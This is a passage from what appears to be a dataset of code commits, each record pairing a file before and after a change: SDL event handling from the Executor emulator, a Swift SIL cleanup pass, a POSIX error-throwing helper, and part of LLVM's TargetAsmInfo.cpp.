SDL_MessageBoxData messageboxdata = {\n        SDL_MESSAGEBOX_INFORMATION, \/* .flags *\/\n        sdlWindow, \/* .window *\/\n        \"Quit\", \/* .title *\/\n        \"Do you want to quit Executor?\", \/* .message *\/\n        SDL_arraysize(buttons), \/* .numbuttons *\/\n        buttons, \/* .buttons *\/\n        NULL \/* .colorScheme *\/\n    };\n    int buttonid;\n    SDL_ShowMessageBox(&messageboxdata, &buttonid);\n    return buttonid == 1;\n}\n\nvoid Executor::vdriver_pump_events()\n{\n    SDL_Event event;\n    static uint16_t keymod = 0;\n\n    while(SDL_PollEvent(&event))\n    {\n        switch(event.type)\n        {\n            case SDL_MOUSEMOTION:\n                MouseLocation.h = CW(event.motion.x);\n                MouseLocation.v = CW(event.motion.y);\n\n                adb_apeiron_hack(false);\n                break;\n            case SDL_MOUSEBUTTONDOWN:\n            case SDL_MOUSEBUTTONUP:\n            {\n                bool down_p;\n                int32 when;\n                Point where;\n\n                down_p = (event.button.state == SDL_PRESSED);\n                if(down_p)\n                    keymod &= ~btnState;\n                else\n                    keymod |= btnState;\n                when = TickCount();\n                where.h = event.button.x;\n                where.v = event.button.y;\n                ROMlib_PPostEvent(down_p ? mouseDown : mouseUp,\n                                  0, (GUEST<EvQElPtr> *)0, when, where,\n                                  keymod);\n                adb_apeiron_hack(false);\n            }\n            break;\n            case SDL_QUIT:\n                if(ConfirmQuit())\n                    ExitToShell();\n                break;\n        }\n    }\n}\n\nextern \"C\" void\nROMlib_SetTitle(char *title)\n{\n}\n\nextern \"C\" char *\nROMlib_GetTitle(void)\n{\n    static char str[] = \"Foo\";\n    return str;\n}\n\nextern \"C\" void\nROMlib_FreeTitle(char *title)\n{\n}\n\n\/* This is really inefficient.  We should hash the cursors *\/\nvoid Executor::host_set_cursor(char *cursor_data,\n                               unsigned short cursor_mask[16],\n                               int hotspot_x, int hotspot_y)\n{\n    SDL_Cursor *old_cursor, *new_cursor;\n\n    old_cursor = SDL_GetCursor();\n    new_cursor = SDL_CreateCursor((unsigned char *)cursor_data,\n                                  (unsigned char *)cursor_mask,\n                                  16, 16, hotspot_x, hotspot_y);\n    if(new_cursor != NULL)\n    {\n        SDL_SetCursor(new_cursor);\n        SDL_FreeCursor(old_cursor);\n    }\n}\n\nint Executor::host_set_cursor_visible(int show_p)\n{\n    return (SDL_ShowCursor(show_p));\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/===-- DataflowDiagnostics.cpp - Emits diagnostics based on SIL analysis -===\/\/\n\/\/\n\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2014 - 2015 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See http:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See http:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n#include \"swift\/Subsystems.h\"\n\n#include \"swift\/SIL\/SILFunction.h\"\n#include \"swift\/SIL\/SILInstruction.h\"\n#include \"swift\/SIL\/SILModule.h\"\n#include \"swift\/SILPasses\/Utils\/Local.h\"\n\nvoid swift::performSILCleanup(SILModule *M) {\n  for (auto &Fn : *M)\n    for (auto &BB : Fn) {\n      auto I = BB.begin(), E = BB.end();\n      while (I != E) {\n        \/\/ Make sure there is no iterator invalidation if the inspected\n        \/\/ instruction gets removed from the block.\n        SILInstruction *Inst = I++;\n\n        \/\/ Remove calls to Builtin.staticReport().\n        if (ApplyInst *AI = dyn_cast<ApplyInst>(Inst))\n          if (BuiltinFunctionRefInst *FR =\n              dyn_cast<BuiltinFunctionRefInst>(AI->getCallee().getDef())) {\n            const BuiltinInfo &B =\n                              M->getBuiltinInfo(FR->getReferencedFunction());\n            if (B.ID == BuiltinValueKind::StaticReport) {\n              \/\/ The call to the builtin should get removed before we reach\n              \/\/ IRGen.\n              recursivelyDeleteTriviallyDeadInstructions(AI, \/* Force *\/true);\n            }\n          }\n      }\n    }\n}\n<commit_msg>Fix the file name in the comment.<commit_after>\/\/===-- SILCleanup.cpp ---------- Emits diagnostics based on SIL analysis -===\/\/\n\/\/\n\/\/ This source file is part of the Swift.org open source project\n\/\/\n\/\/ Copyright (c) 2014 - 2015 Apple Inc. and the Swift project authors\n\/\/ Licensed under Apache License v2.0 with Runtime Library Exception\n\/\/\n\/\/ See http:\/\/swift.org\/LICENSE.txt for license information\n\/\/ See http:\/\/swift.org\/CONTRIBUTORS.txt for the list of Swift project authors\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n#include \"swift\/Subsystems.h\"\n\n#include \"swift\/SIL\/SILFunction.h\"\n#include \"swift\/SIL\/SILInstruction.h\"\n#include \"swift\/SIL\/SILModule.h\"\n#include \"swift\/SILPasses\/Utils\/Local.h\"\n\nvoid swift::performSILCleanup(SILModule *M) {\n  for (auto &Fn : *M)\n    for (auto &BB : Fn) {\n      auto I = BB.begin(), E = BB.end();\n      while (I != E) {\n        \/\/ Make sure there is no iterator invalidation if the inspected\n        \/\/ instruction gets removed from the block.\n        SILInstruction *Inst = I++;\n\n        \/\/ Remove calls to Builtin.staticReport().\n        if (ApplyInst *AI = dyn_cast<ApplyInst>(Inst))\n          if (BuiltinFunctionRefInst *FR =\n              dyn_cast<BuiltinFunctionRefInst>(AI->getCallee().getDef())) {\n            const BuiltinInfo &B =\n                              M->getBuiltinInfo(FR->getReferencedFunction());\n            if (B.ID == BuiltinValueKind::StaticReport) {\n              \/\/ The call to the builtin should get removed before we reach\n              \/\/ IRGen.\n              recursivelyDeleteTriviallyDeadInstructions(AI, \/* Force *\/true);\n            }\n          }\n      }\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* This is free and unencumbered software released into the public domain. *\/\n\n#ifdef HAVE_CONFIG_H\n#include <config.h>\n#endif\n\n#include \"error.h\"\n\n#include <array>   \/* for std::array *\/\n#include <cassert> \/* for assert() *\/\n#include <cerrno>  \/* for E*, errno *\/\n#include <cstdio>  \/* for std::snprintf() *\/\n#include <cstring> \/* for std::strerror(), stpncpy() *\/\n\nusing namespace posix;\n\nerror::error() noexcept\n  : std::system_error(errno, std::system_category()) {}\n\nbad_descriptor::bad_descriptor() noexcept\n  : logic_error(EBADF) {}\n\nbad_descriptor::bad_descriptor(const char* const origin) noexcept\n  : logic_error(EBADF, std::generic_category(), origin) {}\n\nbad_address::bad_address() noexcept\n  : logic_error(EFAULT) {}\n\nbad_address::bad_address(const char* const origin) noexcept\n  : logic_error(EFAULT, std::generic_category(), origin) {}\n\ninvalid_argument::invalid_argument() noexcept\n  : logic_error(EINVAL) {}\n\ninvalid_argument::invalid_argument(const char* const origin) noexcept\n  : logic_error(EINVAL, std::generic_category(), origin) {}\n\nconnection_refused::connection_refused() noexcept\n  : runtime_error(ECONNREFUSED) {}\n\nconnection_refused::connection_refused(const char* const origin) noexcept\n  : runtime_error(ECONNREFUSED, std::generic_category(), origin) {}\n\nvoid\nposix::throw_error() {\n  throw_error(errno, nullptr);\n}\n\nvoid\nposix::throw_error(const char* const origin) {\n  throw_error(errno, origin);\n}\n\nvoid\nposix::throw_error(const int code) {\n  throw_error(code, nullptr);\n}\n\nvoid\nposix::throw_error(const int code,\n                   const char* const origin) {\n  static thread_local std::array<char, 4096> buffer;\n\n  if (origin) {\n    std::snprintf(buffer.data(), buffer.size(),\n      \"%s [in %s]\", std::strerror(code), origin);\n  }\n  else {\n    stpncpy(buffer.data(), std::strerror(code), buffer.size());\n    buffer.data()[buffer.size()-1] = '\\0';\n  }\n\n  switch (code) {\n    case EBADF:        \/* Bad file descriptor *\/\n      throw bad_descriptor(buffer.data());\n    case ECONNREFUSED: \/* Connection refused *\/\n      throw connection_refused(buffer.data());\n    case EFAULT:       \/* Bad address *\/\n      throw bad_address(buffer.data());\n    case EINVAL:       \/* Invalid argument *\/\n      throw invalid_argument(buffer.data());\n    case EMFILE:       \/* Too many open files *\/\n      throw posix::fatal_error(code, std::generic_category(), buffer.data());\n    case EMSGSIZE:     \/* Message too long *\/\n      throw posix::logic_error(code, std::generic_category(), buffer.data());\n    case ENAMETOOLONG: \/* File name too long *\/\n      throw posix::logic_error(code, std::generic_category(), buffer.data());\n    case ENFILE:       \/* Too many open files in system *\/\n      throw posix::fatal_error(code, std::generic_category(), buffer.data());\n    case ENOBUFS:      \/* No buffer space available in kernel *\/\n      throw posix::fatal_error(code, std::generic_category(), buffer.data());\n    case ENOMEM:       \/* Cannot allocate memory in kernel *\/\n      throw posix::fatal_error(code, std::generic_category(), buffer.data());\n    case ENOSPC:       \/* No space left on device *\/\n      throw posix::fatal_error(code, std::generic_category(), buffer.data());\n    case ENOSYS:       \/* Function not implemented *\/\n      throw posix::logic_error(code, std::generic_category(), buffer.data());\n    case ENOTDIR:      \/* Not a directory *\/\n      throw posix::logic_error(code, std::generic_category(), buffer.data());\n    case EACCES:       \/* Permission denied *\/\n    case ELOOP:        \/* Too many levels of symbolic links *\/\n    case ENOENT:       \/* No such file or directory *\/\n    case ENOPROTOOPT:  \/* Protocol not available *\/\n    case ENOTCONN:     \/* Transport endpoint is not connected *\/\n    case ENOTSOCK:     \/* Socket operation on non-socket *\/\n    default:\n      throw runtime_error(code, std::generic_category(), buffer.data());\n  }\n}\n<commit_msg>Simplified error message construction.<commit_after>\/* This is free and unencumbered software released into the public domain. *\/\n\n#ifdef HAVE_CONFIG_H\n#include <config.h>\n#endif\n\n#include \"error.h\"\n\n#include <array>   \/* for std::array *\/\n#include <cassert> \/* for assert() *\/\n#include <cerrno>  \/* for E*, errno *\/\n#include <cstdio>  \/* for std::snprintf() *\/\n#include <cstring> \/* for stpncpy() *\/\n\nusing namespace posix;\n\nerror::error() noexcept\n  : std::system_error(errno, std::system_category()) {}\n\nbad_descriptor::bad_descriptor() noexcept\n  : logic_error(EBADF) {}\n\nbad_descriptor::bad_descriptor(const char* const origin) noexcept\n  : logic_error(EBADF, std::generic_category(), origin) {}\n\nbad_address::bad_address() noexcept\n  : logic_error(EFAULT) {}\n\nbad_address::bad_address(const char* const origin) noexcept\n  : logic_error(EFAULT, std::generic_category(), origin) {}\n\ninvalid_argument::invalid_argument() noexcept\n  : logic_error(EINVAL) {}\n\ninvalid_argument::invalid_argument(const char* const origin) noexcept\n  : logic_error(EINVAL, std::generic_category(), origin) {}\n\nconnection_refused::connection_refused() noexcept\n  : runtime_error(ECONNREFUSED) {}\n\nconnection_refused::connection_refused(const char* const origin) noexcept\n  : runtime_error(ECONNREFUSED, std::generic_category(), origin) {}\n\nvoid\nposix::throw_error() {\n  throw_error(errno, nullptr);\n}\n\nvoid\nposix::throw_error(const char* const origin) {\n  throw_error(errno, origin);\n}\n\nvoid\nposix::throw_error(const int code) {\n  throw_error(code, nullptr);\n}\n\nvoid\nposix::throw_error(const int code,\n                   const char* const origin) {\n  static thread_local std::array<char, 4096> buffer;\n\n  const char* what = nullptr;\n  if (origin) {\n    std::snprintf(buffer.data(), buffer.size(), \"%s\", origin);\n    what = buffer.data();\n  }\n  else {\n    buffer.data()[0] = '\\0';\n    what = nullptr;\n  }\n\n  switch (code) {\n    case EBADF:        \/* Bad file descriptor *\/\n      throw bad_descriptor(what);\n    case ECONNREFUSED: \/* Connection refused *\/\n      throw connection_refused(what);\n    case EFAULT:       \/* Bad address *\/\n      throw bad_address(what);\n    case EINVAL:       \/* Invalid argument *\/\n      throw invalid_argument(what);\n    case EMFILE:       \/* Too many open files *\/\n      throw posix::fatal_error(code, std::generic_category(), what);\n    case EMSGSIZE:     \/* Message too long *\/\n      throw posix::logic_error(code, std::generic_category(), what);\n    case ENAMETOOLONG: \/* File name too long *\/\n      throw posix::logic_error(code, std::generic_category(), what);\n    case ENFILE:       \/* Too many open files in system *\/\n      throw posix::fatal_error(code, std::generic_category(), what);\n    case ENOBUFS:      \/* No buffer space available in kernel *\/\n      throw posix::fatal_error(code, std::generic_category(), what);\n    case ENOMEM:       \/* Cannot allocate memory in kernel *\/\n      throw posix::fatal_error(code, std::generic_category(), what);\n    case ENOSPC:       \/* No space left on device *\/\n      throw posix::fatal_error(code, std::generic_category(), what);\n    case ENOSYS:       \/* Function not implemented *\/\n      throw posix::logic_error(code, std::generic_category(), what);\n    case ENOTDIR:      \/* Not a directory *\/\n      throw posix::logic_error(code, std::generic_category(), what);\n    case EACCES:       \/* Permission denied *\/\n    case ELOOP:        \/* Too many levels of symbolic links *\/\n    case ENOENT:       \/* No such file or directory *\/\n    case ENOPROTOOPT:  \/* Protocol not available *\/\n    case ENOTCONN:     \/* Transport endpoint is not connected *\/\n    case ENOTSOCK:     \/* Socket operation on non-socket *\/\n    default:\n      throw runtime_error(code, std::generic_category(), what);\n  }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/===-- TargetAsmInfo.cpp - Asm Info ---------------------------------------==\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file defines target asm properties related what form asm statements\n\/\/ should take.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"llvm\/Constants.h\"\n#include \"llvm\/DerivedTypes.h\"\n#include \"llvm\/GlobalVariable.h\"\n#include \"llvm\/Function.h\"\n#include \"llvm\/Module.h\"\n#include \"llvm\/Type.h\"\n#include \"llvm\/Target\/TargetAsmInfo.h\"\n#include \"llvm\/Target\/TargetData.h\"\n#include \"llvm\/Target\/TargetMachine.h\"\n#include \"llvm\/Target\/TargetOptions.h\"\n#include \"llvm\/Support\/Dwarf.h\"\n#include \"llvm\/Support\/ErrorHandling.h\"\n#include <cctype>\n#include <cstring>\nusing namespace llvm;\n\nTargetAsmInfo::TargetAsmInfo(const TargetMachine &tm) : TM(tm) {\n  BSSSection = \"\\t.bss\";\n  BSSSection_ = 0;\n  ReadOnlySection = 0;\n  TLSDataSection = 0;\n  TLSBSSSection = 0;\n  ZeroFillDirective = 0;\n  NonexecutableStackDirective = 0;\n  NeedsSet = false;\n  MaxInstLength = 4;\n  PCSymbol = \"$\";\n  SeparatorChar = ';';\n  CommentColumn = 60;\n  CommentString = \"#\";\n  FirstOperandColumn = 0;\n  MaxOperandLength = 0;\n  GlobalPrefix = \"\";\n  PrivateGlobalPrefix = \".\";\n  LinkerPrivateGlobalPrefix = \"\";\n  JumpTableSpecialLabelPrefix = 0;\n  GlobalVarAddrPrefix = \"\";\n  GlobalVarAddrSuffix = \"\";\n  FunctionAddrPrefix = \"\";\n  FunctionAddrSuffix = \"\";\n  PersonalityPrefix = \"\";\n  PersonalitySuffix = \"\";\n  NeedsIndirectEncoding = false;\n  InlineAsmStart = \"#APP\";\n  InlineAsmEnd = \"#NO_APP\";\n  AssemblerDialect = 0;\n  AllowQuotesInName = false;\n  ZeroDirective = \"\\t.zero\\t\";\n  ZeroDirectiveSuffix = 0;\n  AsciiDirective = \"\\t.ascii\\t\";\n  AscizDirective = \"\\t.asciz\\t\";\n  Data8bitsDirective = \"\\t.byte\\t\";\n  Data16bitsDirective = \"\\t.short\\t\";\n  Data32bitsDirective = \"\\t.long\\t\";\n  Data64bitsDirective = \"\\t.quad\\t\";\n  AlignDirective = \"\\t.align\\t\";\n  AlignmentIsInBytes = true;\n  TextAlignFillValue = 0;\n  SwitchToSectionDirective = \"\\t.section\\t\";\n  TextSectionStartSuffix = \"\";\n  DataSectionStartSuffix = \"\";\n  SectionEndDirectiveSuffix = 0;\n  ConstantPoolSection = \"\\t.section .rodata\";\n  JumpTableDataSection = \"\\t.section .rodata\";\n  JumpTableDirective = 0;\n  CStringSection = 0;\n  CStringSection_ = 0;\n  \/\/ FIXME: Flags are ELFish - replace with normal section stuff.\n  StaticCtorsSection = \"\\t.section .ctors,\\\"aw\\\",@progbits\";\n  StaticDtorsSection = \"\\t.section .dtors,\\\"aw\\\",@progbits\";\n  GlobalDirective = \"\\t.globl\\t\";\n  SetDirective = 0;\n  LCOMMDirective = 0;\n  COMMDirective = \"\\t.comm\\t\";\n  COMMDirectiveTakesAlignment = true;\n  HasDotTypeDotSizeDirective = true;\n  HasSingleParameterDotFile = true;\n  UsedDirective = 0;\n  WeakRefDirective = 0;\n  WeakDefDirective = 0;\n  \/\/ FIXME: These are ELFish - move to ELFTAI.\n  HiddenDirective = \"\\t.hidden\\t\";\n  ProtectedDirective = \"\\t.protected\\t\";\n  AbsoluteDebugSectionOffsets = false;\n  AbsoluteEHSectionOffsets = false;\n  HasLEB128 = false;\n  HasDotLocAndDotFile = false;\n  SupportsDebugInformation = false;\n  SupportsExceptionHandling = false;\n  DwarfRequiresFrameSection = true;\n  DwarfUsesInlineInfoSection = false;\n  Is_EHSymbolPrivate = true;\n  GlobalEHDirective = 0;\n  SupportsWeakOmittedEHFrame = true;\n  DwarfSectionOffsetDirective = 0;\n  DwarfAbbrevSection = \".debug_abbrev\";\n  DwarfInfoSection = \".debug_info\";\n  DwarfLineSection = \".debug_line\";\n  DwarfFrameSection = \".debug_frame\";\n  DwarfPubNamesSection = \".debug_pubnames\";\n  DwarfPubTypesSection = \".debug_pubtypes\";\n  DwarfDebugInlineSection = \".debug_inlined\";\n  DwarfStrSection = \".debug_str\";\n  DwarfLocSection = \".debug_loc\";\n  DwarfARangesSection = \".debug_aranges\";\n  DwarfRangesSection = \".debug_ranges\";\n  DwarfMacroInfoSection = \".debug_macinfo\";\n  DwarfEHFrameSection = \".eh_frame\";\n  DwarfExceptionSection = \".gcc_except_table\";\n  AsmTransCBE = 0;\n}\n\nTargetAsmInfo::~TargetAsmInfo() {\n}\n\n\/\/\/ Measure the specified inline asm to determine an approximation of its\n\/\/\/ length.\n\/\/\/ Comments (which run till the next SeparatorChar or newline) do not\n\/\/\/ count as an instruction.\n\/\/\/ Any other non-whitespace text is considered an instruction, with\n\/\/\/ multiple instructions separated by SeparatorChar or newlines.\n\/\/\/ Variable-length instructions are not handled here; this function\n\/\/\/ may be overloaded in the target code to do that.\nunsigned TargetAsmInfo::getInlineAsmLength(const char *Str) const {\n  \/\/ Count the number of instructions in the asm.\n  bool atInsnStart = true;\n  unsigned Length = 0;\n  for (; *Str; ++Str) {\n    if (*Str == '\\n' || *Str == SeparatorChar)\n      atInsnStart = true;\n    if (atInsnStart && !isspace(*Str)) {\n      Length += MaxInstLength;\n      atInsnStart = false;\n    }\n    if (atInsnStart && strncmp(Str, CommentString, strlen(CommentString))==0)\n      atInsnStart = false;\n  }\n\n  return Length;\n}\n\nunsigned TargetAsmInfo::PreferredEHDataFormat(DwarfEncoding::Target Reason,\n                                              bool Global) const {\n  return dwarf::DW_EH_PE_absptr;\n}\n\nstatic bool isSuitableForBSS(const GlobalVariable *GV) {\n  Constant *C = GV->getInitializer();\n  \n  \/\/ Must have zero initializer.\n  if (!C->isNullValue())\n    return false;\n  \n  \/\/ Leave constant zeros in readonly constant sections, so they can be shared.\n  if (GV->isConstant())\n    return false;\n  \n  \/\/ If the global has an explicit section specified, don't put it in BSS.\n  if (!GV->getSection().empty())\n    return false;\n  \n  \/\/ If -nozero-initialized-in-bss is specified, don't ever use BSS.\n  if (NoZerosInBSS)\n    return false;\n  \n  \/\/ Otherwise, put it in BSS!\n  return true;\n}\n\nstatic bool isConstantString(const Constant *C) {\n  \/\/ First check: is we have constant array of i8 terminated with zero\n  const ConstantArray *CVA = dyn_cast<ConstantArray>(C);\n  \/\/ Check, if initializer is a null-terminated string\n  if (CVA && CVA->isCString())\n    return true;\n\n  \/\/ Another possibility: [1 x i8] zeroinitializer\n  if (isa<ConstantAggregateZero>(C))\n    if (const ArrayType *Ty = dyn_cast<ArrayType>(C->getType()))\n      return (Ty->getElementType() == Type::Int8Ty &&\n              Ty->getNumElements() == 1);\n\n  return false;\n}\n\nstatic SectionKind::Kind SectionKindForGlobal(const GlobalValue *GV,\n                                              const TargetMachine &TM) {\n  Reloc::Model ReloModel = TM.getRelocationModel();\n  \n  \/\/ Early exit - functions should be always in text sections.\n  const GlobalVariable *GVar = dyn_cast<GlobalVariable>(GV);\n  if (GVar == 0)\n    return SectionKind::Text;\n\n  \n  \/\/ Handle thread-local data first.\n  if (GVar->isThreadLocal()) {\n    if (isSuitableForBSS(GVar))\n      return SectionKind::ThreadBSS;\n    return SectionKind::ThreadData;\n  }\n\n  \/\/ Variable can be easily put to BSS section.\n  if (isSuitableForBSS(GVar))\n    return SectionKind::BSS;\n\n  Constant *C = GVar->getInitializer();\n  \n  \/\/ If the global is marked constant, we can put it into a mergable section,\n  \/\/ a mergable string section, or general .data if it contains relocations.\n  if (GVar->isConstant()) {\n    \/\/ If the initializer for the global contains something that requires a\n    \/\/ relocation, then we may have to drop this into a wriable data section\n    \/\/ even though it is marked const.\n    switch (C->getRelocationInfo()) {\n    default: llvm_unreachable(\"unknown relocation info kind\");\n    case Constant::NoRelocation:\n      \/\/ If initializer is a null-terminated string, put it in a \"cstring\"\n      \/\/ section if the target has it.\n      if (isConstantString(C))\n        return SectionKind::MergeableCString;\n      \n      \/\/ Otherwise, just drop it into a mergable constant section.  If we have\n      \/\/ a section for this size, use it, otherwise use the arbitrary sized\n      \/\/ mergable section.\n      switch (TM.getTargetData()->getTypeAllocSize(C->getType())) {\n      case 4:  return SectionKind::MergeableConst4;\n      case 8:  return SectionKind::MergeableConst8;\n      case 16: return SectionKind::MergeableConst16;\n      default: return SectionKind::MergeableConst;\n      }\n      \n    case Constant::LocalRelocation:\n      \/\/ In static relocation model, the linker will resolve all addresses, so\n      \/\/ the relocation entries will actually be constants by the time the app\n      \/\/ starts up.\n      if (ReloModel == Reloc::Static)\n        return SectionKind::ReadOnly;\n              \n      \/\/ Otherwise, the dynamic linker needs to fix it up, put it in the\n      \/\/ writable data.rel.local section.\n      return SectionKind::ReadOnlyWithRelLocal;\n              \n    case Constant::GlobalRelocations:\n      \/\/ In static relocation model, the linker will resolve all addresses, so\n      \/\/ the relocation entries will actually be constants by the time the app\n      \/\/ starts up.\n      if (ReloModel == Reloc::Static)\n        return SectionKind::ReadOnly;\n      \n      \/\/ Otherwise, the dynamic linker needs to fix it up, put it in the\n      \/\/ writable data.rel section.\n      return SectionKind::ReadOnlyWithRel;\n    }\n  }\n\n  \/\/ Okay, this isn't a constant.  If the initializer for the global is going\n  \/\/ to require a runtime relocation by the dynamic linker, put it into a more\n  \/\/ specific section to improve startup time of the app.  This coalesces these\n  \/\/ globals together onto fewer pages, improving the locality of the dynamic\n  \/\/ linker.\n  if (ReloModel == Reloc::Static)\n    return SectionKind::DataNoRel;\n\n  switch (C->getRelocationInfo()) {\n  default: llvm_unreachable(\"unknown relocation info kind\");\n  case Constant::NoRelocation:\n    return SectionKind::DataNoRel;\n  case Constant::LocalRelocation:\n    return SectionKind::DataRelLocal;\n  case Constant::GlobalRelocations:\n    return SectionKind::DataRel;\n  }\n}\n\n\/\/\/ SectionForGlobal - This method computes the appropriate section to emit\n\/\/\/ the specified global variable or function definition.  This should not\n\/\/\/ be passed external (or available externally) globals.\nconst Section *TargetAsmInfo::SectionForGlobal(const GlobalValue *GV) const {\n  assert(!GV->isDeclaration() && !GV->hasAvailableExternallyLinkage() &&\n         \"Can only be used for global definitions\");\n  \n  SectionKind::Kind GVKind = SectionKindForGlobal(GV, TM);\n  \n  SectionKind Kind = SectionKind::get(GVKind, GV->isWeakForLinker(),\n                                      GV->hasSection());\n\n\n  \/\/ Select section name.\n  if (GV->hasSection()) {\n    \/\/ If the target has special section hacks for specifically named globals,\n    \/\/ return them now.\n    if (const Section *TS = getSpecialCasedSectionGlobals(GV, Kind))\n      return TS;\n    \n    \/\/ If the target has magic semantics for certain section names, make sure to\n    \/\/ pick up the flags.  This allows the user to write things with attribute\n    \/\/ section and still get the appropriate section flags printed.\n    GVKind = getKindForNamedSection(GV->getSection().c_str(), GVKind);\n    \n    return getOrCreateSection(GV->getSection().c_str(), false, GVKind);\n  }\n\n  \/\/ If this global is linkonce\/weak and the target handles this by emitting it\n  \/\/ into a 'uniqued' section name, create and return the section now.\n  if (Kind.isWeak()) {\n    if (const char *Prefix = getSectionPrefixForUniqueGlobal(Kind)) {\n      \/\/ FIXME: Use mangler interface (PR4584).\n      std::string Name = Prefix+GV->getNameStr();\n      return getOrCreateSection(Name.c_str(), false, GVKind);\n    }\n  }\n  \n  \/\/ Use default section depending on the 'type' of global\n  return SelectSectionForGlobal(GV, Kind);\n}\n\n\/\/ Lame default implementation. Calculate the section name for global.\nconst Section*\nTargetAsmInfo::SelectSectionForGlobal(const GlobalValue *GV,\n                                      SectionKind Kind) const {\n  assert(!Kind.isThreadLocal() && \"Doesn't support TLS\");\n  \n  if (Kind.isText())\n    return getTextSection();\n  \n  if (Kind.isBSS())\n    if (const Section *S = getBSSSection_())\n      return S;\n  \n  if (Kind.isReadOnly())\n    if (const Section *S = getReadOnlySection())\n      return S;\n\n  return getDataSection();\n}\n\n\/\/\/ getSectionForMergableConstant - Given a mergable constant with the\n\/\/\/ specified size and relocation information, return a section that it\n\/\/\/ should be placed in.\nconst Section *\nTargetAsmInfo::getSectionForMergeableConstant(SectionKind Kind) const {\n  if (Kind.isReadOnly())\n    if (const Section *S = getReadOnlySection())\n      return S;\n  \n  return getDataSection();\n}\n\n\nconst Section *TargetAsmInfo::getOrCreateSection(const char *Name,\n                                                 bool isDirective,\n                                                 SectionKind::Kind Kind) const {\n  Section &S = Sections[Name];\n\n  \/\/ This is newly-created section, set it up properly.\n  if (S.Name.empty()) {\n    S.Kind = SectionKind::get(Kind, false \/*weak*\/, !isDirective);\n    S.Name = Name;\n  }\n\n  return &S;\n}\n\nunsigned TargetAsmInfo::getULEB128Size(unsigned Value) {\n  unsigned Size = 0;\n  do {\n    Value >>= 7;\n    Size += sizeof(int8_t);\n  } while (Value);\n  return Size;\n}\n\nunsigned TargetAsmInfo::getSLEB128Size(int Value) {\n  unsigned Size = 0;\n  int Sign = Value >> (8 * sizeof(Value) - 1);\n  bool IsMore;\n\n  do {\n    unsigned Byte = Value & 0x7f;\n    Value >>= 7;\n    IsMore = Value != Sign || ((Byte ^ Sign) & 0x40) != 0;\n    Size += sizeof(int8_t);\n  } while (IsMore);\n  return Size;\n}\n<commit_msg>add an explanatory comment about why we drop these in readonly and not in mergable<commit_after>\/\/===-- TargetAsmInfo.cpp - Asm Info ---------------------------------------==\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file defines target asm properties related what form asm statements\n\/\/ should take.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"llvm\/Constants.h\"\n#include \"llvm\/DerivedTypes.h\"\n#include \"llvm\/GlobalVariable.h\"\n#include \"llvm\/Function.h\"\n#include \"llvm\/Module.h\"\n#include \"llvm\/Type.h\"\n#include \"llvm\/Target\/TargetAsmInfo.h\"\n#include \"llvm\/Target\/TargetData.h\"\n#include \"llvm\/Target\/TargetMachine.h\"\n#include \"llvm\/Target\/TargetOptions.h\"\n#include \"llvm\/Support\/Dwarf.h\"\n#include \"llvm\/Support\/ErrorHandling.h\"\n#include <cctype>\n#include <cstring>\nusing namespace llvm;\n\nTargetAsmInfo::TargetAsmInfo(const TargetMachine &tm) : TM(tm) {\n  BSSSection = \"\\t.bss\";\n  BSSSection_ = 0;\n  ReadOnlySection = 0;\n  TLSDataSection = 0;\n  TLSBSSSection = 0;\n  ZeroFillDirective = 0;\n  NonexecutableStackDirective = 0;\n  NeedsSet = false;\n  MaxInstLength = 4;\n  PCSymbol = \"$\";\n  SeparatorChar = ';';\n  CommentColumn = 60;\n  CommentString = \"#\";\n  FirstOperandColumn = 0;\n  MaxOperandLength = 0;\n  GlobalPrefix = \"\";\n  PrivateGlobalPrefix = \".\";\n  LinkerPrivateGlobalPrefix = \"\";\n  JumpTableSpecialLabelPrefix = 0;\n  GlobalVarAddrPrefix = \"\";\n  GlobalVarAddrSuffix = \"\";\n  FunctionAddrPrefix = \"\";\n  FunctionAddrSuffix = \"\";\n  PersonalityPrefix = \"\";\n  PersonalitySuffix = \"\";\n  NeedsIndirectEncoding = false;\n  InlineAsmStart = \"#APP\";\n  InlineAsmEnd = \"#NO_APP\";\n  AssemblerDialect = 0;\n  AllowQuotesInName = false;\n  ZeroDirective = \"\\t.zero\\t\";\n  ZeroDirectiveSuffix = 0;\n  AsciiDirective = \"\\t.ascii\\t\";\n  AscizDirective = \"\\t.asciz\\t\";\n  Data8bitsDirective = \"\\t.byte\\t\";\n  Data16bitsDirective = \"\\t.short\\t\";\n  Data32bitsDirective = \"\\t.long\\t\";\n  Data64bitsDirective = \"\\t.quad\\t\";\n  AlignDirective = \"\\t.align\\t\";\n  AlignmentIsInBytes = true;\n  TextAlignFillValue = 0;\n  SwitchToSectionDirective = \"\\t.section\\t\";\n  TextSectionStartSuffix = \"\";\n  DataSectionStartSuffix = \"\";\n  SectionEndDirectiveSuffix = 0;\n  ConstantPoolSection = \"\\t.section .rodata\";\n  JumpTableDataSection = \"\\t.section .rodata\";\n  JumpTableDirective = 0;\n  CStringSection = 0;\n  CStringSection_ = 0;\n  \/\/ FIXME: Flags are ELFish - replace with normal section stuff.\n  StaticCtorsSection = \"\\t.section .ctors,\\\"aw\\\",@progbits\";\n  StaticDtorsSection = \"\\t.section .dtors,\\\"aw\\\",@progbits\";\n  GlobalDirective = \"\\t.globl\\t\";\n  SetDirective = 0;\n  LCOMMDirective = 0;\n  COMMDirective = \"\\t.comm\\t\";\n  COMMDirectiveTakesAlignment = true;\n  HasDotTypeDotSizeDirective = true;\n  